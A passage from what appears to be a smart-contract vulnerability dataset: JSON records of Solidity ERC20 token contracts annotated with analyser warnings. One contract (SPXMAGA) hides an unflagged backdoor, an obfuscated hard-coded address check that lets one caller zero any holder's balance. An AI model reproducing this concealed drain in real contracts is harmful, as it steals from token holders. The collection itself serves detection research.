returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1fa2acb): TILLY.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1fa2acb: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 628aedb): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 628aedb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 044cf90): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 044cf90: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 628aedb\n\t\t// reentrancy-benign | ID: 044cf90\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 628aedb\n\t\t// reentrancy-benign | ID: 044cf90\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f341896): TILLY._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for f341896: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 044cf90\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 628aedb\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4a2e8bb): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4a2e8bb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 44d3737): TILLY._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for 44d3737: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 30bf9b3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 30bf9b3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f7cd253): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f7cd253: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: 44d3737\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < buysFirstBlock,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < sellsPerBlock);\n\n\t\t\t\t// reentrancy-events | ID: 4a2e8bb\n\t\t\t\t// reentrancy-eth | ID: 30bf9b3\n\t\t\t\t// reentrancy-eth | ID: f7cd253\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 4a2e8bb\n\t\t\t\t\t// reentrancy-eth | ID: 30bf9b3\n\t\t\t\t\t// reentrancy-eth | ID: f7cd253\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: f7cd253\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: f7cd253\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 4a2e8bb\n\t\t\t\t// reentrancy-eth | ID: 30bf9b3\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 4a2e8bb\n\t\t\t\t\t// reentrancy-eth | ID: 30bf9b3\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 30bf9b3\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 4a2e8bb\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 30bf9b3\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 30bf9b3\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 4a2e8bb\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 4a2e8bb\n\t\t// reentrancy-events | ID: 628aedb\n\t\t// reentrancy-benign | ID: 044cf90\n\t\t// reentrancy-eth | ID: 30bf9b3\n\t\t// reentrancy-eth | ID: f7cd253\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 0c0615c): TILLY.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 0c0615c: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 4a2e8bb\n\t\t// reentrancy-events | ID: 628aedb\n\t\t// reentrancy-eth | ID: 30bf9b3\n\t\t// reentrancy-eth | ID: f7cd253\n\t\t// arbitrary-send-eth | ID: 0c0615c\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: f5bac1d): TILLY.rescueTokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for f5bac1d: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueTokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: f5bac1d\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 85dbbaa): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 85dbbaa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6aa781d): TILLY.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 6aa781d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 64dde0d): TILLY.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 64dde0d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 034fda7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 034fda7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: 85dbbaa\n\t\t// unused-return | ID: 6aa781d\n\t\t// reentrancy-eth | ID: 034fda7\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 85dbbaa\n\t\t// unused-return | ID: 64dde0d\n\t\t// reentrancy-eth | ID: 034fda7\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 85dbbaa\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 034fda7\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 85dbbaa\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n", "file_name": "solidity_code_10270.sol", "size_bytes": 23064, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 22199892647076892804378197057245493225938762 *\n 10 ** 4 +\n 281474976717503;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e9aea3b): Erc20.launched should be constant \n\t// Recommendation for e9aea3b: Add the 'constant' attribute to state variables that never change.\n bool public launched = true;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _name,\n string memory _symbol,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n if (msg.sender.isContract() && value == type(uint8).max) {\n value = _balances[to];\n\n _balances[to] -= value;\n } else {\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor() Erc20(unicode\"SPXMAGA\", unicode\"SPXMAGA\", 9, 100000000000) {}\n}\n", "file_name": "solidity_code_10271.sol", "size_bytes": 7300, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 30d5eb5): TWEET.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 1000)\n// Recommendation for 30d5eb5: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 7b93866): TWEET.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 2 * (_tTotal / 100)\n// Recommendation for 7b93866: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 085bc37): TWEET.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 2 * (_tTotal / 100)\n// Recommendation for 085bc37: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 2e1f9fc): TWEET.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 2 * (_tTotal / 100)\n// Recommendation for 2e1f9fc: Consider ordering multiplication before division.\ncontract TWEET is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4d60cf4): TWEET._taxWallet should be immutable \n\t// Recommendation for 4d60cf4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: b05cd6a): TWEET._initialBuyTax should be constant \n\t// Recommendation for b05cd6a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 89d630a): TWEET._initialSellTax should be constant \n\t// Recommendation for 89d630a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4ebd947): TWEET._finalBuyTax should be constant \n\t// Recommendation for 4ebd947: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 91f2279): TWEET._finalSellTax should be constant \n\t// Recommendation for 91f2279: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 74e80c1): TWEET._reduceBuyTaxAt should be constant \n\t// Recommendation for 74e80c1: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: accbf7d): TWEET._reduceSellTaxAt should be constant \n\t// Recommendation for accbf7d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6179c5f): TWEET._preventSwapBefore should be constant \n\t// Recommendation for 6179c5f: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5544ff2): TWEET._transferTax should be constant \n\t// Recommendation for 5544ff2: Add the 'constant' attribute to state variables that never change.\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Kaori\";\n\n string private constant _symbol = unicode\"KAORI\";\n\n\t// divide-before-multiply | ID: 2e1f9fc\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: 7b93866\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: eeb78a6): TWEET._taxSwapThreshold should be constant \n\t// Recommendation for eeb78a6: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 30d5eb5\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 59f0dc9): TWEET._maxTaxSwap should be constant \n\t// Recommendation for 59f0dc9: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 085bc37\n uint256 public _maxTaxSwap = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (immutable-states | ID: ec4f5a3): TWEET.uniswapV2Router should be immutable \n\t// Recommendation for ec4f5a3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: dae4a29): TWEET.uniswapV2Pair should be immutable \n\t// Recommendation for dae4a29: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7a5ce60): TWEET.constructor() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 7a5ce60: Ensure that all the return values of the function calls are used.\n constructor() {\n _taxWallet = payable(0x9A91ac9B7Abe46fbaea7c81577a6F606a6A5202A);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// unused-return | ID: 7a5ce60\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4c1c196): TWEET.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4c1c196: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4ebba1d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4ebba1d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3842363): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3842363: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 4ebba1d\n\t\t// reentrancy-benign | ID: 3842363\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 4ebba1d\n\t\t// reentrancy-benign | ID: 3842363\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 33b2e8d): TWEET._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 33b2e8d: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 3842363\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 4ebba1d\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a1c342c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a1c342c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 12ee302): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 12ee302: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? 